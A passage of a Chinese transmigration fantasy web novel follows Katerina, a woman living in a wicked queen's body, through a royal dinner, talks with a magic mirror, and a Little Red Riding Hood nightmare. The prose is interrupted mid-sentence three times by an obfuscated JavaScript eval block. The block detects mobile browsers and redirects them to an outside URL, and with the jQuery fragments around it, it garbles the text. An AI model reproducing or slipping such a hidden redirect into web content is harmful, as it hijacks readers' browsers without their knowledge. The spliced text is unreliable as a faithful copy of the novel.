过了很久，玛利亚才磨磨蹭蹭过来，他倒没有之前穿得那么破烂。宫仆按卡特琳娜的吩咐给他换了厚些的衣服，玛利亚看起来焕然一新，有点公主的样子了。 他别别扭扭地左右看了看自己的父亲和继母，然后选了中间稍微靠海因里希一点的位置坐下。 “玛利亚，见了爸爸妈妈怎么不打招呼呢？”卡特琳娜柔声说，“被别人看到会说洛尔兰的公主连最基本的礼貌都没有。” 玛利亚立即站了起来，愤恨地看了一眼卡特琳娜，转过身去对海因里希作了公主的行礼，涨红了脸，声音小得可以和蚊子媲美：“父亲晚上好……” 然后他没向卡特琳娜行礼就坐回去了。 海因里希开口提醒：“你也应该向你的继母行礼，她是你名义上的母亲。” 听到父亲的话，玛利亚如遭雷劈，整张脸变作菜色。他再次站起身，面对着卡特琳娜，支支吾吾说不出口。 卡特琳娜完全能理解，毕竟这孩子长年被她虐待折磨，怎么可能对她叫得出“母亲”或“妈妈”。她也不想为难一个小孩子，只是想提醒他注意礼貌的问题。 “公主的礼仪还可以以后慢慢教导，现在大家都饿了，先上菜吧。”卡特琳娜大度，没有继续纠结这个问题。 她拿着红酒杯，对海因里希挑眉笑道：“非常期待国王亲手猎的熊肉呢。” 10. 夫妻同房（已修） 这是洛尔兰经典的黑熊餐，但又由布莱恩做出了拜厄的风味。清蒸熊掌和红烧熊肉，味道香得卡特琳娜肚里咕噜噜直叫。 宫仆已经把一只鲜嫩的熊掌呈到她面前的盘子里，她的叉子也已经叉了进去。但她一想到这只熊可能如威廉姆所说曾是一个人类男孩，她就下不去嘴。 “王后怎么不吃呢？”海因里希问道。 距离这么远，他都能发现她没有吃进去，看来真的是非常关注她，难说这熊肉不会有什么问题。 卡特琳娜一直都是疑心病很重的人，她宁可相信自己的直觉，也不愿意相信说得天花乱坠的他人。 “看着这丰盛的一餐。”卡特琳娜吞咽口水，放下了手中的刀叉，“我就想到贫苦的国民们。洛尔兰粮食短缺，他们的日常口粮不过是小麦稀粥和两片面包，连玉米、蘑菇和菜叶都是奢侈，更不用说肉类。而我们吃着这样过剩的食物，实在是太惭愧了。” 海因里希和玛利亚听到她这冠冕堂皇的一段话都不免愣住。 卡特琳娜演都演了，没有停下的意思，对内侍大臣威廉姆说：“把我的分量打包，送到神教广场分发给民众。” 玛利亚本来吃得小脸通红，这会儿也不吃了，看了看海因里希的脸色，才支支吾吾说：“那，那我也不吃了，给，给吃不饱饭的人吃。” 多善良的小公主啊，自己饱受虐待还想着别人！卡特琳娜都被感动到了。 至于海因里希，她看不清他的表情，只听到他说：“没想到我们洛尔兰的王后也有大发善心的时候，作为国王，当然是全力支持。威廉姆，分发食物的时候让民众知道这是王后的恩赐，让他们感谢王室的馈赠。” 卡特琳娜说要分发，不过是想试探海因里希的反应。若是熊肉真的有什么问题，那他肯定会阻止，毕竟不能害国民们吃同是人类的肉吧。 米洛这才对熊肉的来源做出回应：“确实只是单纯的熊掌。” 卡特琳娜突然有点后悔，竟然是真的熊肉。 她这两天动物蛋白摄入不太充足，王宫不是培根就是香肠，鸡蛋也很有限，连她都觉得长此以往肯定营养不良。 威廉姆应声下来，将桌上的熊肉撤下去。玛利亚好歹吃了两口，眼馋地看着他端走，无意间与卡特琳娜的视线碰在一起，立即又变回了倔强愤恨。 毕竟是王宫，没有了大菜，也还有别的主食。 端上来了跟昨日差不多的“减肥餐”，卡特琳娜整个人都麻了。但玛利亚吃得非常香，狼吞虎咽吃了三个面包棍和连个烤红薯，卡特琳娜怕他饿着，让厨房多煮几个鸡蛋给他带回去夜里加餐。 “陛下。”威廉姆面露难色，在卡特琳娜耳边小声道，“现在鸡蛋库存仅剩不足二十枚，天气严寒母鸡已不再产蛋……” 这洛尔兰王宫的日子也过得太苦了吧！连鸡蛋都没得吃！ 贫穷落后的地区是这样的吗？ 卡特琳娜问米洛：“能不能写信给我妈，让她再给我送粮车过来，我要被饿死了。” “写信？那会很慢，从洛尔兰到费里特骑马需要超过两个月时间。如果是电报的话会快很多，只需要几秒。”米洛如实回答她。 电报！？ 卡特琳娜惊喜地发现，这个童话世界并不是如她所想象的冷兵器时代，而应该是电气化时代！只是因为洛尔兰太落后了才让她产生误会！ 她差点跳起来了，按捺住兴奋追问米洛：“那这个世界里有汽车吗？有电话吗？有没有网络？” “当然没有，我尊贵的主人。” 米洛的话像一盆冷水浇在卡特琳娜的头顶，她冷静了下来，问：“那你所说的电报是什么原理，不是电脉冲信号吗？” “当然不是，我尊贵的主人。”米洛解释道，“电报是凯特罗琳女王发明的一种新型魔法仪器，利用有魔法联系的两座电报机，可以相隔几千公里传递文字信息，并且消耗极少的魔法灵力，两枚五号电池便能使一台电报机持续工作十年。” 魔法。 卡特琳娜遗憾地接受了，这里是童话世界，所有的一切都是魔法提供能量。但她注意到了很违和的一点，五号电池？ 她问：“凯特罗琳女王发明的？” “是的，凯特罗琳女王是创世纪千年后出现的最伟大的发明家之一，她发明了包括电报、电灯、电池、电车、电轨在内的上千种魔法产物，推动了魔法科学发明法案的建立和普及，为世界培养了以大魔法师贝利*萨克为首的魔法师科学发明家团体，为北大陆人民提高生活水平和质量做出了卓越的贡献。” 等等等等，这……这听着怎么这么不对劲儿呢？这些都是她原来的世界里早就已经出现过很多年的东西！平平无奇，但在童话世界里显得非常违和。 卡特琳娜头脑轰隆一声，凯特罗琳……凯特罗琳极有可能是来自和她同一个世界的人！她们都是穿越者！ “王后？” 这时候用餐结束，玛利亚已经告退。海因里希却仍等待着，见卡特琳娜脸上表情变化莫测，沉下声来：“我有事要跟你聊。” 卡特琳娜的注意力被他抓回来，不由得烦闷。海因里希找她聊绝不是什么好事，从冰雪审判时就不好的预感一直跟随着她。虽然度过了短暂的危机，但长期潜伏在平静海面的暗涌仍蛰伏着要等一个机会将她拖进去。 她不能懈怠，她要回去自己的世界，她还有事情没有完成。 “在这里聊吗？”卡特琳娜随手拿起桌上的白色餐巾优雅地擦嘴，做出高傲的神态来，“去书房，还是我们的卧室？” 海因里希的目光又闪过一丝怪异，他顿了两秒，回答说：“去卧室吧。” “我尊贵的主人。”米洛不得不好心提醒她，“您拿的白色的布是垫盘子的餐布，不是用来擦嘴的。在您左手边被子里叠作玫瑰的那一张蓝色的，才是擦嘴的餐巾。” 卡特琳娜瞬间尬住了，但装作什么事情都没发生的样子把餐布放回去。 “而且，尽管洛尔兰的传统是夫妻同房而睡，但以前的您在嫁过来之后的某一天对海因里希说，依据费里特的习俗，王室成员拥有各自的卧室，必须保证个人独享空间不被打扰。”米洛补充解释道， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632556|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “夫妻之间更应该这样，只有一方同意后，另一方才能够进入对方的房间。您不应该说‘我们的卧室’，您与国王并没有共同拥有一间卧室。” 呃……这就是文化差异吗？卡特琳娜汗颜，怪不得她总觉得海因里希拿怪怪的眼神看她。 * 海因里希应该很少来她的卧室，卡特琳娜不禁想，他连墙上的婚礼油画不见了都没有丝毫察觉。或者说他根本不在意，因为他早上来见玛利亚的时候那幅画还在。 真是一对奇怪的夫妻，以前的卡特琳娜竟然将婚礼油画挂在那么显然的地方，明明与海因里希的关系恶劣得势同水火，而且还出轨了…… “伊桑*沙穆的事情，有调查出什么结果吗？”卡特琳娜不等海因里希开口，自己先问了想问的问题。 伊桑被国王的骑士团控制、关押，虽然她不是没有机会去见他，但却有着不少困难。她得保证伊桑短时间内不会死，他的遗言可是悬在她头顶上的一把铡刀。 海因里希定不了伊桑的罪，估计也没办法直接杀了他。也许国王的打算是让孩子生下来，就有证据指证他与王后通奸了。 卡特琳娜见海因里希沉默不语，怕他又憋什么阴招，赶紧澄清说明：“不论调查结果如何，他肚子里的孩子都不是我的。不知道里希你是误会了什么，但我跟他没有任何私情。我想除掉伊桑，是其他的原因。” 反正主打一个死不承认，把自己摘出去。在卡特琳娜印象中，电视剧里的炮灰渣男都是类似的台词。 她的目的主要还是暗示海因里希她和伊桑都是无辜的。 “在审判现场的时候，我只是照着你给我的指控词宣读，不敢更改太多地方，而且我的古希博语也不算太好，这是我的疏漏。”卡特琳娜循循善诱，想把话题往她想要的方向引领，“我完全相信冰雪审判的公平、公正。可能是因为我跟伊桑确实没有私情，所以才会有这样的结果。也许我们该把孩子的母亲找出来，作为受害者对伊桑*沙穆重新进行指控。” “是有这样的可能。”海因里希审视着她，并没有说多余的话。 “对伊桑*沙穆……你还打算做什么？”卡特琳娜试探着问。 “既然对伊桑*沙穆的两次审判都宣告失败，那自然是等他把孩子生下来，就知道孩子的母亲是谁了。” 是卡特琳娜意料中的答案，这也是最好的办法，先等伊桑把孩子生下来…… 她还有时间。 “那你呢？”卡特琳娜放心了，表情也柔和起来，“里希想跟我聊什么？” 海因里希主动提出要跟她聊聊，她非常乐意。 “卡特琳娜。” 海因里希突然往前靠近，让卡特琳娜猝不及防。她连退好几步都没有避开海因里希前进的速度，她的腿撞到床边，身子跌在了床上。 “国王……你这是要干什么？”卡特琳娜摸不着头脑。 海因里希两手撑着床，低头俯视着她，眼神说不清是厌恶还是别的什么。他轻蔑地笑了一声，沉声说： “难道我们不该也有一个孩子吗？” 11. 十年契约（已修） 这一刻，卡特琳娜有点理解那副婚礼油画为什么会被前卡特琳娜挂在独属于她的卧室的墙上。毕竟海因里希*内华达*范维西可能是这个世界上仅次于她的美人，这眼睛、鼻子、嘴巴，怎么能够长得如此完美？ 甚至这是俯视的死亡角度，都让卡特琳娜被他的美貌冲击到。 海因里希本人甚至比油画里还要好看得多，年纪长了十岁，轮廓更凌厉清晰，气质也变得沉稳坚毅。在卡特琳娜原本的世界里，她真没见过这种异域风情的冷酷帅哥。 现在不仅见了，还是她老公。 虽然……这是个破碎的家庭，她作为恶毒继母还出轨了。 “确实，我们是夫妻，有一个孩子比较好。”卡特琳娜不禁展开了丰富的想象，“玛利亚也大了，应该会很欢迎多一个弟弟或妹妹加入我们这个大家庭。我们两个长得这么好看，生下来的孩子肯定美貌无敌。只是，有件事得提前商量好，这个孩子呢，是我生？” 她顿了顿，问：“还是你生？” 既然伊桑*沙穆能生孩子，他海因里希*内华达*范维西应该也不在话下吧…… 海因里希听到她的问话，立即起身，还往后退了两步，哼笑道：“王后你在开什么玩笑？” 卡特琳娜也随之起身，拍了拍裙子上的褶皱，说：“毕竟是你提出来的，我觉得你来生比较合适。男女都能生孩子，谁生都一样嘛。你身强体壮，肯定比我怀更能怀得好。” 海因里希紧皱着眉头，快有川字纹了。 卡特琳娜越说越觉得满意：“而且再说，你家里还有王位要继承，当然我不是说玛利亚不能继承王位的意思，我的意思是多一个继承者来参与选拔更好嘛。你怀的话就是纯纯的范维西家族血脉，是非常具有竞争力的继承者人选。” “孩子的名字我都想好了。”卡特琳娜走到了海因里希的面前，冲他眨眼睛，“男孩就叫查尔斯，女孩就叫莫娜。” 说着她往国王身上一扑，勾住了他的脖子，笑道：“来吧，让你怀个孩子。” 海因里希反应迅速，立即将她推开，露出难以置信的表情来。 他低呵一声：“你疯了吗？” 然后他像是躲避瘟疫一样，飞快逃离了卡特琳娜的的卧室。 “……是他说要生孩子的嘛。”卡特琳娜无奈地耸耸肩。她不过是看他长得不差，所以没有拒绝罢了，这人怎么说的跟做的不一样？ 也许他不愿意自己生。 “我尊贵的主人。”沉默已久的米洛再次出声，“一般来说男人是不能怀孕的，伊桑*沙穆能够怀孕是以前的您对他进行了子宫移植手术——当然，这是他自愿的。如果您想要海因里希也怀上孩子，或许也要先准备一下同样的手术。” 卡特琳娜惊掉了下巴，她还以为这个童话世界男人女人都可以怀孕！原来是因为手术？她不仅是个巫婆，还是外科医生？ “呃……伊桑的子宫是从哪里来的？”她不禁汗颜，以卡特琳娜的恶毒，难道还有可怜的女人受害失去了子宫？ 米洛回答：“我尊贵的主人，自然是您把您的子宫移植到他身上了，毕竟子宫里的是流着您血脉的孩子，您不会愿意由一个其他人的子宫来孕育古奥斯的后裔。” 卡特琳娜立即捂住自己的肚子，怪不得刚刚海因里希要试探她！她根本不能够怀孕，她现在没有子宫了！不过，这是不是也意味着她不用姨妈痛了？ 这个世界也太魔幻，不不不，太童话了吧…… “好吧，伊桑*沙穆怀孕肯定很辛苦。”卡特琳娜有点心疼他肚子里的孩子，“明天我找到好吃的去看看他，给他父子俩补充点营养。非婚生子不受世俗认可，但孩子是无辜的啊，都是做父母的错太多。” 伊桑*沙穆也算是个大帅哥，不知道他大着肚子会是什么样子。 卡特琳娜往床上一趟，又困倦了。 “为何我的灵力如此贫瘠？感觉多和你说几句话就累得不行，现在又困了。以前的卡特琳娜也这样吗？她跟你能聊上几句？我还以为她是多么了不起的巫婆，也不过如此嘛……”卡特琳娜眼皮打架。 “我尊贵的主人，我从来没与她说过话。”米洛回答道，“但以她的灵力水平，应该能与我聊几天几夜没有问题。” 卡特琳娜立即从床上跳下来，精神回笼了，震惊不已：“什么意思？你从来没有跟她说过话？你们不是签订了契约？” “不，我尊贵的主人，与我签订契约的是您。” 卡特琳娜非常憎恨谜语人，尤其是像米洛这样说话从来不说清楚而让人误会的。虽然米洛之前确实没有说过她与前卡特琳娜之间的事情，但从她透露的信息来看处处有前卡特琳娜的影子。 “你在开什么玩笑？”卡特琳娜面色难看起来，她将项链坠扯下，看着镜面中与自己十年前一样的脸，“我是从地球穿越过来的，我怎么可能与你签订契约。十年前是谁与你签订契约的？你说过不会骗我。” “我尊贵的主人，我永远不会欺骗您。”米洛笑起来，甜美可爱极了，“在我已知的范围内，在创世纪100年前我一直生活在永夜之都诺尔南都拉尼亚。创世纪100年左右发生了什么变故我不太清楚，十年前我在深渊被您唤醒，发现自己成为了一面虚幻的镜子。我失去了很多之前的记忆，只记得必须回到故乡。” 卡特琳娜对她所说的话将信将疑。 “那时候您找到了我，将我从深渊带到了现界，并与我签订契约。您雇佣我成为您最忠诚的仆人，回答所有您想知道的问题的答案，并承诺会在十年内将我带回故乡。之后您再没有与我对话，直到昨天您召唤我，询问我谁是世界上最美丽的人。” 虽然是最忠诚的仆人，但确实是雇佣关系，得到答案要消耗灵力或者付出别的报酬。 “你确定那个人是我？不是以前的那个卡特琳娜？”卡特琳娜越听越觉得离谱。她一个刚刚来到这个世界第二天的穿越者，怎么可能在十年前与魔镜签订契约！ “当然，我尊贵的主人，契约将我与您的灵魂绑定，无论您去往何方，我都能忠心地为您服务。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632557|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 米洛在镜中对她行礼。 “那你怎么知道前卡特琳娜的事情？” “您是问我获取信息的原理吗？很简单，只要是在这个世界的镜子的映照下发生过的事情，就会被镜子记录下来，我就能够知道。当然，我不是无所不知，我绝不可能知道仅被一个人埋在心底的秘密，或者是消失在历史中再无人提及的事件。” 她像是学习人类行为的人工智能，表情太过于僵硬了。 卡特琳娜见再问不出什么，又被困倦的感觉侵袭，问出了今天最想知道的关键问题：“那我身上的魔法呢？我是不是会魔法？我能不能用魔法？” 米洛回答：“我尊贵的主人，您是古奥斯家族的纯血后裔，具有潜力极大的魔法潜力。但遗憾的是，您的灵魂纯净无暇，没有被任何魔法沾染的痕迹。您目前并不会任何魔法，所以您也用不了魔法。” “以前那个卡特琳娜的魔法呢？”卡特琳娜不甘心，据描述，那个恶毒的巫婆肯定会很多很多魔法！为什么是同一具身体，她就什么都不会？ “她的魔法，自然只有她能用。” 卡特琳娜困得睁不开眼睛了：“那她人呢？我占据了她的身体，她是消失了吗？还是像小说里写的那种情况，她穿越到我的世界里去了？” “据我所知，她应该还在附近。”米洛回答说。 卡特琳娜又仰卧起坐了，睁眼高声重复问：“她在附近？” “她驱逐离开，要么是以幽灵的状态，要么是占据了另一具身体。”米洛做出了推断，“当然，这只是某种可能性，如果您学习过占卜魔法，就可以更准确地知道她现在在哪里。知道以前的您在哪里是很重要的一件事，按照她的性格，应该在想办法将这具身体夺回来。” 卡特琳娜感到一阵晕眩。 她好不容易暂时可以喘上一口气，却又得知一个想要她命的人潜伏在暗处！她生气了：“这么重要的事情你怎么不早点告诉我！” “我尊贵的主人，您并没有问我。”像人工智障一样的米洛回答道。 “以后。”卡特琳娜无奈了，她能拿一个呆傻的镜子怎么办？她嘱咐道：“如果出现这种危险人物，或者你推测可能出现对我有危害的事件，一定要提前告诉我，当然是在我灵力允许不会晕过去的前提下。” “好的，我尊贵的主人。” “别尊贵了，别您了，我们直接叫名字还方便交流一点。”卡特琳娜差点对她翻白眼，但又看着她的脸长得可爱，只是瘪了瘪嘴，“米洛，我们是一条船上的蚂蚱。你不能总是傻傻等着我来问，你要主动告诉我需要知道的信息。我活着，才能帮你。我一定会带你回到你的故乡，让你找回你失去的所有记忆。” 米洛大概是不理解卡特琳娜为什么对她生气了。 她想了想，说：“好的，我的卡特琳娜*范维西陛下。” 卡特琳娜叹气：“只需要叫我的名字，米洛。而且我感觉不久后我应该就快离婚了，范维西的姓免掉吧。” “好的，我的卡特琳娜。” 12. 她是外婆（1）（已修） 醒来后发现自己置身于一座森林的小木屋内时，卡特琳娜意识到事情大条了。 迷迷糊糊睡着之前，米洛提醒过她：“以前的您是幽灵魔法学派的资深巫师，擅长入梦、窃取和控制灵魂。她被驱逐离开了您现在的身体，很有可能想要重新回来。所以如果您发现自己进入了不寻常的梦境，就必须要警惕是不是她制造的梦域陷阱。” 这个童话世界的魔法学分为了三大派系，分别是天灵派、物灵派和人灵派。卡特琳娜已经见过一个天灵派巫师，即天气术士布莱克。 天灵派的理念是一切灵都来源于天地，巫师用自己的灵与天地沟通，能够在一定程度上请求到天地的帮助，譬如求雨、求雪、控风，甚至是召唤雷暴、日光和地震。 物灵派的中心思想是万物有灵，巫师感受并将所有生物的灵链接在一起，能够与动物、植物甚至是石头对话，培育并操纵有灵的物为己所用。 人灵派的要义为，人是除神以外最伟大的灵。人灵派巫师专注于人本身，人是所有知识的集合，人的情绪、人的内心、人的灵场都是他们的魔法学媒介。 幽灵魔法学派是人灵派的一个变异分支，在人灵派的基础上更追求人作为幽灵的欲望和本能。由于幽灵魔法学派入门困难，术式艰深诡异，这一派系的巫师非常神秘，人数也极其稀少。 “警惕有什么用，如果我进入了她的陷阱后该怎么办？”卡特琳娜是魔法学小白，她唯一能做的就是抓住米洛这根稻草。 她最后听到米洛说的话是：“她要夺回来这具身体，很可能进入你的梦把你的灵魂赶走。你要记住，你才是梦域的主人。” 然后，卡特琳娜醒来便出现在这里了。 她看着镜子里布满皱纹的苍老面容，立即意识到这是一场有预谋的身体抢夺战。虽然她作为穿越者才是那个应该被赶走的人，但她还不想死。 前卡特琳娜作为强大的巫师，被赶走了还可以作为幽灵活着。但是她一个异界旅人，如果被赶走了，岂不是只能等死？她还要回到自己的世界去，她还有很多事情没有做，她不能死。所以，只能先委屈前卡特琳娜了。 “不是我要故意抢你的身体，而是事情就这样发生了。”卡特琳娜叹了一口气，对着空气说，“反正当幽灵也没什么不好吧？就不能把身体多借我一段时间？我找到回我的世界的方法后，一定会还给你的。” 没有人回应她，应该是前卡特琳娜没听到。 她又问：“米洛，你在吗？” 还是没有人回应她，屋子空空荡荡，只有她一个人。看来进入梦境之后，她和米洛断联了，她必须一个人面对这场争夺战。 镜子里的老人虽然满头白发，脸上遍布皱纹和老人斑，但仍然能从五官看出卡特琳娜年轻时的美貌。这应该是卡特琳娜自然衰老之后可能会有的样子，让她不禁感慨，时间对任何人都是公平的，无论是再美的人，总会有老去的一天。 她稍微一动，身上的骨头就会发出响声，像是生锈的金属支架。她的眼睛也不清晰，显然有很严重的老花远视眼，只能勉强识别出这里应该是她长期居住的木屋。 甚至她可能生病了，她走两步就喘气，咳嗽不止，整个人虚弱得不行。但卡特琳娜不能休息，她必须搞清楚这里到底是什么地方。 她觉得有些饿，但家里没什么吃的，只有半罐子清水。她在床边柜子上发现了一张照片，是五个长得跟卡特琳娜很像的人。 之前在处理油画的时候她有问过米洛，这个童话世界其实是有相机的。但相机是由魔法驱动，成本非常高，是非常昂贵的奢侈品。在整个大陆，估计拥有相机的人不会超过二位数。 这个老女人竟然能拥有一张相片，也不知道是因为她非常富有，还是因为这只是一个梦。 照片里最右边站着老年卡特琳娜，应该是现在的她，另外是一个青年卡特琳娜牵着看起来只有七八岁左右的三个一模一样的幼年卡特琳娜。所有人都穿着红色兜帽，站在一棵橡树下。他们嘴角扬起一模一样的弧度，但由于长得也几乎一样，整个画面透露出极端的诡异感觉。 卡特琳娜不由得打了一个寒颤，快要有恐怖谷效应了。这梦里包括她在内，已经有五个不同年龄的卡特琳娜。 她看着照片里相同的红色兜帽，立即意识到自己这个梦境是关于什么。 小红帽。 经典的童话故事，小红帽拿着蛋糕和葡萄酒去看望生病的外婆。妈妈嘱咐她一定要走大路，在路上不要随便跟人说话。但她遇到了大灰狼，告诉了大灰狼自己要去外婆家的事，又走进了小路耽误时间。 大灰狼冒充小红帽将外婆吃掉，然后又伪装成外婆等待小红帽上门。小红帽果然被大灰狼吃掉了，但幸好路过的猎人发现了大灰狼，剪开大灰狼的肚子救下了里面的小红帽和外婆。小红帽将石头缝进大灰狼的肚子里，大灰狼醒来后掉进石井里摔死了。 是一个告诫小朋友在路上不要和陌生人说话的童话故事，传到今日有很多不同的版本。现代的版本都是以大灰狼的死亡而告终，但卡特琳娜忘记自己听谁说过，最早的版本是小红帽和外婆都被大灰狼吞噬，尸骨无存。 以她现在的形象来看，她应该是外婆。 但是，为什么小女孩会有三个？这意味着什么？ 卡特琳娜心里不禁咯噔，这么说，前卡特琳娜想要取代她，应该是作为大灰狼伪装成小红帽来吃掉她？ 正这样想着，敲门声将卡特琳娜从思绪中拉出来。 咚咚咚。 咚咚咚。 咚咚咚。 木质门在静谧的森林出现响声，别提有多渗人。要不是窗外阳光明媚，卡特琳娜真有种自己穿越到恐怖电影里的感觉。 她大气都不敢出，颤颤巍巍走到窗边想要看外面是谁。 但她有很严重的老花眼，她能看清楚远处核桃木做的篱笆，能看清楚院子里的橡树，却怎么也看不清楚敲门的是谁。 “外婆？你在家吗？”低沉的、邪恶的、流口水的声音。 卡特琳娜心中一沉，这大灰狼来敲她的门都不演一下？粗着个嗓门就来，真的是太不敬业了。他会是前卡特琳娜伪装的吗？ 卡特琳娜不答话，敲门声变大了。 咚咚咚。 整个木屋都像是要被他敲碎掉。 咚咚咚。 “外婆？你在家吗？” 卡特琳娜想要不要她直接假装自己不在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632558|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家，大灰狼应该不会直接闯进来吧？ 她正打算转身回去藏起来，但由于身体生锈行动缓慢，还没有迈出步子，就被闪到窗外的一张大脸吓了个大跳。 “外婆，我看到你了。” 虽然卡特琳娜有严重的老花眼，但她模模糊糊还是能看到这张脸有很长的嘴，黄褐色的眼睛，以及藏不住的尖牙和从尖牙往下滴的口水。 确实是小红帽的故事，卡特琳娜非常确信了，她想象中的大灰狼也差不多是长这个样子。 “外婆，我是小红帽，我给你送来了葡萄酒和蛋糕，快开门啊。” 其实以大灰狼的体格，也不一定非得敲门，他完全可以直接把门砸烂进来，或者是打破窗户玻璃翻进来。但在这个童话故事里，木屋的门似乎是能完美隔绝危险的屏障。 卡特琳娜不给他开门不就行了！ “你是大灰狼，不是小红帽，我不会给你开门的。”她拒绝了大灰狼。 窗外的狼脸消失了，敲门声也停下来。卡特琳娜松了一口气，她慢吞吞地走回到自己的墙边，她在床上坐了一会儿，突然感觉到胸口一阵猛烈刺痛。 怎么回事？ 她痛得无法呼吸，分不清是因为疼痛还是因为窒息。 然后，她死了。 * 再醒来的时候，卡特琳娜发现自己还在外婆的屋子里。 她活动自己的老身子骨下床，看到镜子里自己苍老的面容，意识到这个梦并没有结束。她还清楚记得她死亡瞬间的感觉，这个童话故事没有她想象中那么简单。 她重新拿起床头柜上的照片，里面的小卡特琳娜竟然少了一个，三胞胎只剩下两个了。 这是很明显的提示，她刚刚不给大灰狼开门，触发了死亡，导致了其中一个小卡特琳娜的消失。会不会当三个小红帽都被大灰狼吃掉后，她作为卡特琳娜的身份也就被夺走了？ 咚咚咚。 咚咚咚。 敲门声再次响起。 卡特琳娜这次不敢怠慢，她不能不给大灰狼开门。也许她真的病得很重，她必须吃点什么，不然就会死去。 她拿了一把砍柴刀，颤颤巍巍走到了门边。 咚咚咚。 “外婆？你在家吗？”大灰狼问。 卡特琳娜回答道：“我在。” “外婆，我是小红帽，我给你送来了葡萄酒和蛋糕，快开门啊。”一模一样的台词，不知道是发生第二次，还是从头再来。 卡特琳娜并没有立即给他开门，而是问道：“为什么你的声音这样粗？听起来不像我的外孙女小红帽。” “外婆，我感冒了，嗓子发炎，所以声音才会这么粗。”他倒是找了一个很好的借口。 找借口谁不会啊？卡特琳娜立即有了灵感，她说：“小红帽，我家正门坏了，很难打开。你到屋后面去，那里有一道后门，我给你开门。” 大灰狼并没有怀疑她，回答说：“好的，外婆。” 卡特琳娜见大灰狼的影子经过了窗户，估计正绕到屋子后面去。她立即拉开门栓，忍受着胸口的不适，迈着她苍老的步伐往屋外奔跑。 小红帽在森林里。 她必须保护她。 13. 她是外婆（2）（已修） 果然如卡特琳娜所料，她上一次的死亡跟她没有吃东西无关。毕竟大灰狼根本没有带过来葡萄酒和蛋糕，她即使要吃，也必须是吃小红帽给她的葡萄酒和蛋糕。 卡特琳娜已经进入了森林深处，她累得坐在了一棵大树的下面气喘吁吁，一个劲儿咳嗽起来，几乎要把她的肺给咳出来。她太老了，跑了这么远的距离，真是让她这把老骨头接近散架。 但她又不敢歇太久，大灰狼找不到屋子后面的门，肯定会到前门去找她，然后就发现她已经逃跑。 这样的话，大灰狼要么是追过来抓她，要么是进入她的木屋伪装成她的样子等待小红帽去敲门。 原版故事里，他就是伪装成外婆把小红帽吃了。 狼外婆可是许多小孩子的童年阴影。 卡特琳娜站起身来，观察起四周。这是一片茂密的森林，树干又粗又长，直直往天空长去，绿叶繁密遮住大部分的光线，让空气变得阴冷潮湿。 她没有力气再奔跑，只能像个老太婆一样一步一步沿着小路往前走。 森林静谧得不像话，连鸟儿很虫子的声音都没有。也许不是没有，是卡特琳娜老到耳朵不灵光，她听不到。 又走出一段距离，卡特琳娜发现前方是一片花海，鲜花遍野，蝴蝶漫天。 她远远看到一个红色兜帽的小孩子身影在花丛中移动，这让她松了一口气，她找到小红帽了！这小孩子果然不乖乖走大路，反而跑到这偏僻小路来采野花。 “小红帽！”她呼喊了一声，然后朝着小红帽走过去。 红色兜帽的女孩听到有人叫她，本来在弯腰采花，这时候冒出头来，往声音来源看去。 虽然卡特琳娜老花眼很严重，但还是把她吓了个大跳。她停下穿越花丛的脚步，看着面前的小女孩，大气不敢出一个。 她害怕了。 这小红帽长得太过于古怪。 她并不是照片里看上去那样，而是一个半成品布偶人。她的皮肤是粗糙的麻布，她的眼睛是两颗大小不一样的黑色纽扣，一条红色的缝线当做是嘴巴。更不用说她身体的其他部位，都是布偶的质感，还是质量很差的那种，是夜市地摊都上不了的不合格货品。 单单只是人偶的话倒没什么，但她却歪着脑袋，似乎在用黑色纽扣的眼睛看向卡特琳娜，用一种如齿轮卡壳般的语调，叫着：“外婆。” 卡特琳娜不寒而栗，站在原地不知道该怎么办了。 这个小红帽显然不正常。 “外婆。”小红帽竟向她走过来，从围兜里拿出葡萄酒和蛋糕，说，“妈妈说你生病了，让我给你送葡萄酒和蛋糕。” 卡特琳娜差点吐了，小红帽给她递过来的葡萄酒里装着一堆不可名状的东西，漂浮在其中最明显的便是两大颗白白的眼球！眼球的虹膜是与卡特琳娜的绿眼睛相似的颜色，这很有可能就是小红帽自己的眼睛。 蛋糕更不用说了，早已经腐烂，上面已经长了又粗又长的白色虫子，跟蛆的形貌非常相似。这股血腥和恶臭，让卡特琳娜控制不住反胃，干呕了一声。 “外婆，你怎么了？病得很重吗？”小红帽关心地询问，上前想要扶住她。 卡特琳娜不得不退后几步，避开小红帽的触碰。她勉强地扯出笑容来，说：“我的乖孙女，外婆的病已经好很多了。你不是要去外婆的房子吗？我见你一直没有过来，很担心，就来找你了。” 